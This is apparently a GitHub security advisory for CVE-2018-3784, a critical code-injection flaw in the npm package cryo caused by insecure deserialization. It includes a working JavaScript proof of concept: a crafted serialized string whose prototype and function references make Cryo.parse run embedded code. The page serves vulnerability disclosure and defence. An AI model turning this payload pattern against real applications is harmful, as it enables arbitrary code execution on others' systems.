GitHub Advisoryadvisory · npm
GHSA-38f5-ghc2-fcmv Code Injection in cryo
CRITICAL
Official page ↗
- Aliases
- CVE-2018-3784
- Ecosystem
- npm
- Packages
- cryo
- Severity
- Critical
- CVSS vector
- CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
- Weaknesses
- CWE-94
- Reviewed
- 2020-06-16
Affected packages
• npm cryo: <= 0.0.6 (no fix yet)
Description
All versions of `cryo` are vulnerable to code injection due to an Insecure implementation of deserialization.
Proof of concept
```js
var Cryo = require('cryo');
var frozen = '{"root":"_CRYO_REF_3","references":[{"contents":{},"value":"_CRYO_FUNCTION_function () {console.log(\\"defconrussia\\"); return 1111;}"},{"contents":{},"value":"_CRYO_FUNCTION_function () {console.log(\\"defconrussia\\");return 2222;}"},{"contents":{"toString":"_CRYO_REF_0","valueOf":"_CRYO_REF_1"},"value":"_CRYO_OBJECT_"},{"contents":{"__proto__":"_CRYO_REF_2"},"value":"_CRYO_OBJECT_"}]}'
var hydrated = Cryo.parse(frozen);
console.log(hydrated);
```
Recommendation
No fix is currently available. Consider using an alternative module until a fix is made available.
Related
Alias · CVE (1)
- CVE-2018-3784 A code injection in cryo 0.0.6 allows an attacker to arbitrarily execute code due to insecure implementation of deserialization. vulnerability
Weakness · CWE (1)
- CWE-94 Improper Control of Generation of Code weakness